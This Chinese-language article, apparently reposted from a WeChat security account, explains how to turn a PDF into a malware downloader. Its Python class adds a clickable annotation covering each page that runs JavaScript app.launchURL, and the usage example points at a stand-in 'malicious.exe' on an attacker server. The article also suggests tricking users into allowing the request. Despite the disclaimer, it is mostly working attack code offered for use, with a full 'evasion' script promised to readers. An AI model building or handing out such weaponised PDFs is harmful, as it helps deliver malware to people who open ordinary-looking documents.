介绍和前言
PDF 文件通常被大多数人视为静态文档。但是,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了可用于红队测试和网络安全研究的各种攻击载荷。在本文中,我们将介绍如何将 JavaScript 注入 PDF 文件以从特定 URL 下载文件并使用此方法建立命令和控制 (C2) 连接。
本文章仅供学习使用,供安全防御参考。
核心注入代码
本实验测试版本:Adobe Reader 2020 ,之前版本的 Adobe Reader 并不支持 JavaScript 注入。
首先需要下载py的fpdf2
库:
class AdobeCodeInject():
def __init__(self, target_url: str) -> None:
self.target_url = target_url
def _make_action(self) -> DictionaryObject:
# 注意:Adobe Reader 2020 以下版本的 Adobe Reader 并不支持 JavaScript 注入
# 因此需要使用 ADOBE Reader 2020 及以上版本的 Adobe Reader 才能正常注入 JavaScript 代码
# 以下代码仅作为示例,并不保证在所有 Adobe Reader 版本下都能正常注入
# 请自行检查您的 Adobe Reader 版本是否符合要求
# 以下是 JavaScript 代码示例,点击 "Open URL" 跳转到 target_url
# 请根据您的 Adobe Reader 版本和 PDF 格式修改 JavaScript 代码以保证正常注入
js_code = f"""
try {{
app.launchURL('{self.target_url}', true);
}} catch (e) {{
app.alert('Error: ' + e.message);
}}
"""
return DictionaryObject({
NameObject("/S"): NameObject("/JavaScript"),
NameObject("/JS"): TextStringObject(js_code),
})
def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject:
# rect: 要添加跳转的区域,默认是PDF页面上注释的位置和大小
# action: 跳转执行的位置,一个 IndirectObject 对象,表示当点击注释时要执行的 JavaScript 操作。
annot = DictionaryObject({
NameObject("/Type"): NameObject("/Annot"),
NameObject("/Subtype"): NameObject("/Widget"),
NameObject("/Rect"): rect,
NameObject("/FT"): NameObject("/Btn"),
NameObject("/T"): TextStringObject("Open URL"),
NameObject("/Ff"): NumberObject(4),
NameObject("/A"): action,
})
return annot
def exploit(self, pdf: Pdf):
action = self._make_action()
for p in pdf.pages:
arct = p.artbox
if not isinstance(arct, RectangleObject):
arct = p.mediabox
if not isinstance(arct, RectangleObject):
arct = p.bleedbox
print(f"{p.page_number} use arct: {arct}")
annot = self._make_annot(arct, pdf.add_object(action))
pdf.add_annotation(p, annot)
公众号内回复“免杀PDF”获取全部脚本。
效果
python main.py -f original.pdf -o exploit2.pdf -url http://yourserver/malicious.exe
点击文档任何地方都会触发访问询问,剩下的工作,是如何“构造”信息让用户点击允许,比如检查版本...
原文始发于微信公众号(TIPFactory情报工厂):注入恶意JS代码到PDF实现下载器功能
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论